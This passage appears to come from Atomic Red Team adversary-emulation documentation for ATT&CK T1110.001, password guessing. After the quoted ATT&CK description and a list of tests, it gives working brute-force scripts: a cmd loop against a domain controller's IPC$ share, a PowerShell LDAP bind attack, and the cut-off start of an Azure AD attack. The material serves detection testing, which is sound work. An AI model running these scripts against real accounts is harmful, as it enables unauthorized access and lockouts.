# T1110.001 - Brute Force: Password Guessing

## Description from ATT&CK

> Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
> 
> Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
> 
> Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
> 
> * SSH (22/TCP)
> * Telnet (23/TCP)
> * FTP (21/TCP)
> * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
> * LDAP (389/TCP)
> * Kerberos (88/TCP)
> * RDP / Terminal Services (3389/TCP)
> * HTTP/HTTP Management Services (80/TCP & 443/TCP)
> * MSSQL (1433/TCP)
> * Oracle (1521/TCP)
> * MySQL (3306/TCP)
> * VNC (5900/TCP)
> * SNMP (161/UDP and 162/TCP/UDP)
> 
> In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)
> 
> In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

[Source](https://attack.mitre.org/techniques/T1110/001)

## Atomic Tests

- [Atomic Test #1: Brute Force Credentials of single Active Directory domain users via SMB](#atomic-test-1-brute-force-credentials-of-single-active-directory-domain-users-via-smb)
- [Atomic Test #2: Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)](#atomic-test-2-brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos)
- [Atomic Test #3: Brute Force Credentials of single Azure AD user](#atomic-test-3-brute-force-credentials-of-single-azure-ad-user)
- [Atomic Test #4: Password Brute User using Kerbrute Tool](#atomic-test-4-password-brute-user-using-kerbrute-tool)
- [Atomic Test #5: SUDO Brute Force - Debian](#atomic-test-5-sudo-brute-force---debian)
- [Atomic Test #6: SUDO Brute Force - Redhat](#atomic-test-6-sudo-brute-force---redhat)
- [Atomic Test #7: SUDO Brute Force - FreeBSD](#atomic-test-7-sudo-brute-force---freebsd)
- [Atomic Test #8: ESXi - Brute Force Until Account Lockout](#atomic-test-8-esxi---brute-force-until-account-lockout)

### Atomic Test #1: Brute Force Credentials of single Active Directory domain users via SMB

Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller

**Supported Platforms:** Windows

**auto_generated_guid:** `09480053-2f98-4854-be6e-71ae5f672224`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user | Account to bruteforce | string | %username%|

#### Attack Commands: Run with `command_prompt`!

```cmd
echo Password1> passwords.txt
echo 1q2w3e4r>> passwords.txt
echo Password!>> passwords.txt
echo Spring2022>> passwords.txt
echo ChangeMe!>> passwords.txt
@FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL
```

### Atomic Test #2: Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)

Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos

**Supported Platforms:** Windows

**auto_generated_guid:** `c2969434-672b-4ec8-8df0-bbb91f40e250`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user | Account to bruteforce | string | $ENV:USERNAME|
| passwords_path | List of passwords we will attempt to brute force with | path | PathToAtomicsFolder&#92;T1110.001&#92;src&#92;passwords.txt|
| domain | Active Directory domain FQDN | string | $env:UserDnsDomain|
| auth | authentication method to choose between "NTLM" and "Kerberos" | string | NTLM|

#### Attack Commands: Run with `powershell`!

```powershell
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

$passwordList = Get-Content -Path "#{passwords_path}"
foreach ($password in $passwordList){
  $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
  try {
    Write-Host " [-] Attempting ${password} on account #{user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] #{user}:${password} are valid credentials!"
  } catch {
    Write-Host $_.Exception.Message
  }
}
Write-Host "End of bruteforce"
```

### Atomic Test #3: Brute Force Credentials of single Azure AD user

Attempt to brute force Azure AD user via AzureAD powershell module.

**Supported Platforms:** Azure-ad

**auto_generated_guid:** `5a51ef57-299e-4d62-8e11-2d440df55e69`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| username | Account to bruteforce. We encourage users running this atomic to add a valid microsoft account domain; for eg "bruce.wayne@<valid_ms_account.com>" | string | bruce.wayne@contoso.com|
| passwords | List of passwords we will attempt to brute force with | string | Password1`n1q2w3e4r`nPassword!|

#### Attack Commands: Run with `powershell`!

```powershell
Import-Module -Name AzureAD

$passwords = "#{passwords}".split("{`n}")
foreach($password in $passwords) {
  $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
  try {
    Write-Host " [-] Attemp